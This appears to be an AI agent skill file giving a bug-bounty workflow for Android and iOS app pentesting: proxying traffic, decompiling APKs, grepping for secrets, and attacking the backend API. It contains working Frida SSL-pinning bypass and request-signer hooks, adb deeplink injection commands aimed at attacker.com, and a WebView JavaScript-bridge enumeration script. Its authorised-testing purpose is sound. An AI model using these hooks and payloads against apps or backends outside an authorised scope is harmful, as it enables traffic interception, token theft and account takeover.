| name | mobile-pentest |
| description | Mobile app pentest for bug bounty (Android APK + iOS IPA) — runtime-first workflow: install app, proxy through Burp/mitmproxy, drive the UI, capture packets, then test the API exactly like a web target; escalate to decompile (apktool/jadx) and Frida/objection only when traffic is SSL-pinned, encrypted, or absent. Covers APK/IPA decompile for hardcoded secrets + hidden API endpoints + base URLs the web app never exposes, exported-activity and deeplink intent injection, WebView addJavascriptInterface bridge abuse, SSL pinning bypass (objection patchapk / Frida CertificatePinner + checkServerTrusted hooks), OkHttp interceptor chain to recover request signing, JNI native-lib triage, and the quick apktool/grep secret + endpoint sweep. Use when the program scope includes a mobile app, when web recon dries up and you need a fresh attack surface, or when traffic is pinned and you must MitM it. |
MOBILE APP PENTEST (ANDROID / iOS)
Mobile apps talk to the same backend as the web app — but they ship a different, less-hunted attack surface: base URLs, API endpoints, header schemes, and hardcoded secrets that web recon never sees. Most hunters skip mobile. That's the edge.
The whole point: the APK/IPA is a copy of the client. Decompile it once and you get every endpoint the web JS never references, every staging/internal base URL, and often a live API key sitting in strings.xml. Then you attack the backend like any web target.
RUNTIME-FIRST — THE ONE RULE THAT MATTERS
Do NOT start by decompiling. Decompiling first burns hours recovering crypto you may never need. Default order:
1. Install the app on a device/emulator (in scope confirmed via /scope)
2. Point it at Burp / mitmproxy
3. Drive the real business flows by hand (login, pay, edit profile, share)
4. After each action, check the proxy: are requests visible and replayable?
5. Traffic visible + replayable → STOP. Test the API like a web target.
6. Traffic pinned / encrypted / absent → THEN escalate to apktool/jadx/Frida.
Most of your paid mobile bugs (IDOR, auth bypass, business logic) come from step 5 — plain HTTP traffic you replay in Burp. Reversing (apktool/jadx/Frida) is a support step to get traffic flowing or to recover a request signer, not the goal.
If Burp already has a stable, replayable request, you are done reversing. Switch to server-side testing.
0. SCOPE CHECK FIRST
Mobile has its own scope traps. Before touching the binary:
- Is the app itself in scope, or only the web domains? Many programs list the app package (
com.target.app) explicitly. If only *.target.com is listed, the API endpoints the app calls are usually in scope — but the app binary analysis may not be. Run /scope.
- Third-party SDKs (analytics, ads, crash reporters) bundled in the APK are out of scope — they belong to Firebase/Sentry/AppsFlyer, not the target.
- Don't report "app is debuggable" / "no root detection" / "no obfuscation" — these are N/A on almost every program (no real-world attacker impact). See the Never-Submit list below.
1. SETUP (one-time)
adb devices
adb install target.apk
mitmproxy --listen-port 8080
apktool d target.apk -o target_src
jadx-gui target.apk
jadx -d target_jadx target.apk
pip install frida-tools objection
frida --version
iOS needs a jailbroken device (Apple ships no emulator that defeats pinning). Same flow: install IPA, proxy, drive UI, escalate to frida/objection only if pinned.
2. STATIC SWEEP — SECRETS + ENDPOINTS WEB RECON MISSES 🔑
This is the highest-ROI 5 minutes in mobile hunting. Decompile, then grep. The quick check (no rooted device needed):
apktool d target.apk -o target_src
grep -rn "api_key\|secret\|password\|token\|Authorization\|Bearer\|client_secret\|private_key" \
target_src/ --include="*.smali" --include="*.xml"
grep -rn "https://" target_src/ | grep -v "schema\|xmlns\|android\|google\|w3.org\|apache" | sort -u | head -80
grep -rniE "firebaseio\.com|amazonaws\.com|s3\.|googleapis|cloudfront|\.blob\.core" target_src/
jadx -d target_jadx target.apk
grep -rnE "https?://[a-z0-9.-]+" target_jadx/sources/ | grep -viE "android|google|w3\.org" | sort -u
Automate it with apkleaks (regex pack for URIs + secrets) when installed:
apkleaks -f target.apk -o target_apkleaks.txt
What to do with each hit (impact-first — this is what makes it submittable vs N/A):
| Found in APK | Action — prove real impact RIGHT NOW |
|---|
internal-api.target.com / staging.target.com base URL not in web recon | httpx it, crawl it, /recon it — fresh surface, often weak auth |
| Live API key (Google Maps, AWS, Algolia, Mapbox, SendGrid) | Call the API as the key. Unkeyed billing = $$. See Credential Leaks rule — a key alone is Informational; proven access is Medium/High |
Endpoint the web app never calls (/api/internal/, /admin/, /debug/) | Hit it from Burp with your session token — admin/IDOR candidate |
| Hardcoded backend password / basic-auth header | Verify it authenticates against the live host |
Mobile is the single best place to find non-public base URLs. The web JS bundle only references prod; the app frequently hardcodes staging, internal, and partner APIs. Each one is a new /recon target.
3. NETWORK-LAYER TESTING — TREAT IT LIKE A WEB TARGET 📡
Once traffic is in Burp, mobile API testing is web API testing. The loop:
baseline capture -> stable replay -> small mutation -> compare response + side effect -> expand by bug class
- Capture one clean baseline request, replay it unchanged to prove it's stable.
- Mutate the smallest safe field first (never many fields at once — if it's signed/stateful, multi-field changes hide the real blocker).
- Compare status, body, timing, and server state. Note: accepted / normalized / rejected / blocked-by-signer.
What to hit first (full payloads + bypass tables live in the web2-vuln-classes and security-arsenal skills):
- Auth / session — strip or swap the bearer token, device-id, and tenant/user-id; replay across two accounts. Mobile apps love
X-User-Id / deviceId headers that the server trusts → horizontal IDOR.
- Business logic — change object IDs, amounts, prices, coupon state; skip workflow steps; replay payment requests (race / double-spend). Follow the money.
- Injection — fields reaching search, filter, file metadata, XML, or server-side fetch. SSRF/SSTI/SQLi same as web.
- GraphQL / WebSocket — introspection, field overreach, channel auth, stale-token reuse.
Mobile API endpoints are frequently older and less-reviewed than the web equivalents — the same dev shipped a stricter web gateway but the app hits a legacy /v1/ route directly. Always diff the app's endpoints against the web app's.
4. SSL PINNING BYPASS — WHEN TRAFFIC IS BLANK 🔓
If the proxy shows no app traffic (only OS/other-app traffic), the app is pinning. Pinning bypass is a support step to get back to network-layer testing — not a finding by itself.
Fastest path — objection (works against most stock implementations):
objection patchapk -s target.apk --ignore-nativelibs --gadget-version 16.7.19
adb install target.objection.apk
objection -g com.target.app explore
android sslpinning disable
When objection fails (custom pinning / obfuscation) — targeted Frida hook:
Java.perform(function () {
try {
var CertPinner = Java.use('okhttp3.CertificatePinner');
CertPinner.check.overload('java.lang.String', 'java.util.List').implementation = function () {
console.log('[+] OkHttp CertificatePinner.check() bypassed: ' + arguments[0]);
return;
};
} catch (e) {}
var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl');
TrustManagerImpl.checkTrustedRecursive.implementation = function () {
console.log('[+] checkServerTrusted bypassed');
return Java.use('java.util.ArrayList').$new();
};
});
frida -U -f com.target.app -l pin-bypass.js
frida -U -f com.target.app --codeshare akabe1/frida-multiple-unpinning
After bypass, traffic flows into Burp → go back to the Network-Layer loop. You don't report the pinning — you report whatever the now-visible traffic lets you exploit.
5. EXPORTED ACTIVITIES + DEEPLINK INJECTION 📲
AndroidManifest.xml is a free attack-surface map. Any component with exported="true" (or an intent-filter, which makes it exported by default) can be launched by any other app on the device — or a malicious web page.
apktool d target.apk -o target_src
grep -nE "exported=\"true\"|<activity|<receiver|<service|android:scheme=|category android:name=\"android.intent.category.BROWSABLE\"" \
target_src/AndroidManifest.xml
The dangerous combo (the single most common paid mobile bug pattern):
exported="true" + BROWSABLE category + custom scheme + no parameter validation
That means a one-click <a href="targetapp://..."> from any web page reaches an internal component. Test from adb first, then weaponize via a hosted HTML link:
adb shell am start -n com.target.app/.feature.UriActivity -d "targetapp://open?url=https://attacker.com"
adb shell am start -W -a android.intent.action.VIEW \
-d "targetapp://webview?url=https://attacker.com/poc.html" com.target.app
Impact ladder (what makes it submittable):
- Deeplink param flows into a WebView
loadUrl() → attacker controls the page rendered inside the authenticated app → token theft / phishing in a trusted context. This is the KuCoin-style UriActivity pattern — a public-program report where an exported activity opened an arbitrary URL in the app's WebView.
- Deeplink reaches a non-exported internal component via intent redirection (
startActivity(getIntent().getParcelableExtra("forward"))) → access screens meant to be internal-only.
- Deeplink sets an auth token / deep-links into a logged-in flow → account takeover if the URL is attacker-supplied (per Oversecured's disclosed deeplink→ATO chain).
Web javascript: and intent:// URIs in a browser can fire these deeplinks with one click. That browser→app pivot is what turns a "theoretical" exported component into a real, submittable one-click exploit.
6. WEBVIEW addJavascriptInterface BRIDGE 🌉
A WebView that calls addJavascriptInterface(obj, "name") exposes that Java object's @JavascriptInterface methods to any JS running in the WebView. If you also control the URL the WebView loads (via the deeplink bug above, an open redirect, or a file:///MitM page), the JS bridge is your foothold.
grep -rnE "addJavascriptInterface|setJavaScriptEnabled|loadUrl|@JavascriptInterface|setAllowFileAccess|setAllowUniversalAccessFromFileURLs" \
target_jadx/sources/
What to look for and prove:
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsBridge(), "AndroidBridge");
webView.loadUrl(intent.getData().toString());
for (var m in AndroidBridge) {
try { document.title += " " + m + "=" + AndroidBridge[m](); } catch(e){}
}
- On API < 17,
addJavascriptInterface exposes getClass() → reflection → arbitrary Java → effectively RCE. Rare now but still paid on legacy apps.
- On modern API, impact = whatever the bridge methods leak/do: auth token exfil, PII read, file read (
setAllowFileAccess), privileged native action triggered by web JS.
Chain it: deeplink injection (controls the URL) → WebView loads attacker page → JS bridge dumps the session token → account takeover. A→B→C, the kind of chain that pays well above a flat XSS.
7. RECOVERING THE REQUEST SIGNER (OkHttp interceptor chain)
Sometimes replay fails because the app adds a X-Sign / sign header the server validates. You only need to recover this if mutation keeps getting rejected — otherwise skip it. Static-first:
grep -rnE "Interceptor|addInterceptor|Request\.Builder|HttpUrl|\.addHeader|\.header\(" target_jadx/sources/
grep -rnE "\"sign\"|\"token\"|hmac|HmacSHA|MessageDigest|Mac\.getInstance|Cipher\.getInstance" target_jadx/sources/
Call flow to trace (entry → wire):
Activity / Fragment
-> ViewModel / Presenter
-> Repository / DataSource
-> ApiService (Retrofit) -> OkHttp Interceptor (adds headers/sign) -> Signer / Encryptor
If the signer is Java, read the inputs (which fields + constants + device values feed the HMAC) and reimplement in Python, or just hook it with Frida and let the app sign for you:
Java.perform(function () {
var Signer = Java.use('com.target.app.network.SignUtil');
Signer.sign.overload('java.lang.String').implementation = function (input) {
var out = this.sign(input);
console.log('[sign] in=' + input + '\n[sign] out=' + out);
return out;
};
});
JNI / native note: if the signer is in a .so (look for System.loadLibrary / native method declarations), don't dive into IDA first. Prove the Java→native boundary (which lib, which params in, which value out), then either hook the boundary or drive the app to sign for you. Reimplementing native crypto is the last resort, only when you need offline reproduction.
NEVER SUBMIT (mobile N/A list — kill these fast)
These have no standalone real-world attacker impact and tank your validity ratio:
- "App is debuggable" / "backup allowed" — needs physical device access, N/A
- "No root / jailbreak detection" — not a vuln; you bypassing it is the enabling step, not the finding
- "No SSL pinning" / "SSL pinning bypassed" alone — pinning is defense-in-depth; report the traffic it exposed
- "No code obfuscation" / "APK can be decompiled" — every APK can; N/A
- Secrets that are public by design (Firebase web API keys, Google Maps keys with referrer restrictions) — only valid if you prove unrestricted privileged access
- Exported component that requires a signature-level permission or does nothing sensitive — no impact
Every mobile finding must answer: "Can a remote attacker, with no physical access to the victim's unlocked device, do this RIGHT NOW for real impact?" If it needs the victim's rooted/unlocked phone, it's almost always N/A.
REAL PAID EXAMPLES
- Exported
UriActivity deeplink opened an arbitrary URL in the app's authenticated WebView (KuCoin, public bug bounty program) — exported=true + no URL validation, found by decompiling with jadx.
- Deep link → WebView redirect → token theft / account takeover — pattern documented across multiple disclosed Android reports (Oversecured research, seen on H1/Bugcrowd programs).
addJavascriptInterface JS→Java bridge abused for unauthorized access on a major crypto-exchange Android app (disclosed writeup) — attacker-controlled WebView page called exposed bridge methods.
- Hardcoded live credentials / API keys in
strings.xml and decompiled source — recurring high-signal pattern on mobile programs; impact gated on proving what the key accesses (pattern seen across H1/Bugcrowd).
- Internal/staging base URLs hardcoded in the APK that web recon never surfaced → fresh, weakly-authed API surface (recurring pattern; treat each as a new
/recon target).
TOOL ORDER (compress it, but keep the logic)
1. Burp / mitmproxy — network visibility FIRST
2. apktool / jadx — static proof (endpoints, secrets, manifest, signer)
3. adb — drive components, read logs, launch deeplinks
4. frida / objection — runtime hooks, pinning bypass, signer dump
5. IDA / Ghidra — only when a .so native signer is the real blocker
Cross-reference: once traffic is replayable, hand off to the web2-vuln-classes skill (IDOR, auth bypass, SSRF, business logic, GraphQL) and security-arsenal for payloads. Validate every finding through the triage-validation 7-Question Gate before writing — mobile N/A reports hurt the most because they're easy to mass-submit.